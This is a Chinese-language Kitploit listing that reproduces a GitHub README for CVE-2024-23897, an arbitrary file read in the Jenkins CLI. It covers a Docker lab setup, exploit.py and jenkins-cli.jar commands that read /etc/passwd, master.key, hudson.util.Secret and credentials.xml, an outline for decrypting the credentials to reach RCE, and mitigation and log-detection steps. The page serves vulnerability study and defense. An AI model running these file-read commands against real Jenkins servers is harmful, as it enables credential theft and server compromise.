Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — cve-2024-23897-jenkins_lfi_reproduction 的复现 | Kitploit
工具/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction 的复现

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
28天前尚未审核

CVE-2024-23897 — Jenkins CLI 任意文件读取漏洞

CVSS 9.8(严重) — 已在野外被积极利用


概述

CVE-2024-23897 是 Jenkins 命令行界面(CLI)中的一个严重任意文件读取漏洞。Jenkins CLI 使用 args4j 库来解析命令行参数。该库会将 @ 字符后跟文件路径(@/path/to/file)展开为读取该文件的内容并将其作为参数注入。未经身份验证的攻击者可以利用此行为读取 Jenkins 控制器文件系统上的任意文件,而无需任何身份验证。

结合提取 credentials.xml、secrets 或 master.key 时,此漏洞可导致服务器完全沦陷(RCE)。


技术细节

args4j 中的 @ 字符展开

args4j 库(由 Jenkins 的 CLI 命令解析器使用)实现了一项便捷功能:当参数以 @ 开头时,它会将参数的其余部分视为文件路径,读取文件内容,并将其拆分为多个参数。这原本是为了允许通过文件传递大型参数列表。

示例:java -jar jenkins-cli.jar who-am-i @/etc/passwd 会导致 args4j 读取 /etc/passwd 并将其内容用作 who-am-i 命令的参数。

由于某些 CLI 命令(如 connect-node)会在错误消息/响应中回显或包含参数值,攻击者可以在 CLI 响应中观察到文件内容。

攻击流程

  1. 攻击者连接到 Jenkins CLI 端口(默认:50000,或 HTTP CLI 端点)
  2. 攻击者发送一个带有类似 @/etc/passwd 参数的 CLI 命令
  3. Jenkins 的 args4j 解析器读取文件并将其展开为参数
  4. CLI 命令处理这些参数,文件内容在响应或错误消息中泄露
  5. 攻击者提取敏感文件以提升权限

为何此漏洞严重

  • 无需身份验证 — CLI 端口无需任何凭据即可访问
  • 无前置条件 — 无需启用特殊权限或 Jenkins 功能
  • 影响范围广泛 — 数以万计的 Jenkins 实例暴露
  • 权限提升 — 读取 secrets/master.key 可实现凭据解密和 RCE

受影响版本

产品受影响版本修复版本
Jenkins(每周版)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS(上一版)≤ 2.414.22.414.3

注意:所有早于上述修复版本的 Jenkins 版本均受影响。CLI 功能在 Jenkins 中已存在多年,因此即使未明确列出,较旧版本同样受影响。


复现步骤

环境搭建

  1. 使用 Docker 运行易受攻击的 Jenkins 实例:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    从容器日志中记录初始管理员密码。

  2. 验证 CLI 端口是否开放:

    root@kitploit:~
    # Jenkins CLI 端口(TCP 50000)应处于监听状态
    # 或者您可以使用 /cli/ 处的 HTTP CLI 端点
    
  3. 安装 Python 3.8+ 及所需依赖:

    root@kitploit:~
    pip install requests
    

通过 Python PoC 复现

root@kitploit:~
# 基本文件读取测试 — 读取 /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# 读取 Jenkins secrets(提权路径)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

手动复现步骤(使用 jenkins-cli.jar)

root@kitploit:~
# 下载 Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# 通过 CLI 读取 /etc/passwd
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# 读取 Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

预期输出

文件内容会出现在 CLI 响应或错误输出中。例如,读取 /etc/passwd 将返回系统的密码文件条目。


概念验证(PoC)— 完整利用链

第 1 步:枚举 Jenkins 环境

root@kitploit:~
# 读取配置以了解环境
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# 读取用户和权限
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

第 2 步:提取 secrets 以实现 RCE

root@kitploit:~
# 提取主密钥(用于加密凭据)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# 提取 hudson.util.Secret 密钥
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# 提取凭据(加密)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

第 3 步:解密凭据并实现 RCE

有了 master.key 和 hudson.util.Secret,您可以使用 jenkins_decrypt.py 或来自 CVE-2024-23897 参考资料的 decrypt.py 脚本等工具解密 Jenkins 凭据。解密后的凭据(SSH 密钥、API 令牌、云提供商密钥)随后可用于在已连接节点和云环境中实现远程代码执行。


缓解措施

立即修复

检测

在访问日志或 CLI 审计日志中搜索包含 @ 后跟文件路径的参数:

root@kitploit:~
# 使用 grep 搜索可疑的 CLI 访问
grep -r "@/" /var/log/jenkins/access.log

# 检查来自意外 IP 的 CLI 连接
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

替代方案(如果无法修补)

如果无法立即修补,可通过设置 --webroot 选项或阻止 50000 端口来禁用 CLI 端口。但请注意,Web UI 中的 HTTP CLI 端点(/cli/)可能仍可利用,因此强烈建议进行修补。


参考资料

  • Jenkins 安全公告 2024-01-24
  • NVD 条目 — CVE-2024-23897
  • NVD 条目 — CVE-2024-23898(相关的 CLI DoS)
  • args4j 库 @file 展开文档
  • CISA 已知被利用漏洞目录

免责声明

本仓库仅用于授权的安全测试和教育目的。未经授权利用此漏洞属于违法行为。作者不对任何滥用此信息的行为负责。请仅在您拥有或已获得明确书面许可的系统上进行测试。

下载工具
措施详情
更新 Jenkins升级到 Jenkins 2.442+ 或 LTS 2.426.3+ / 2.414.3+
禁用 CLI 端口如不需要,在防火墙处阻止 TCP 50000 端口
限制网络访问仅允许受信任网络访问 Jenkins CLI 端口
启用身份验证确保 Jenkins 对所有访问都要求身份验证
监控日志在访问日志中查找带有 @ 参数的 CLI 命令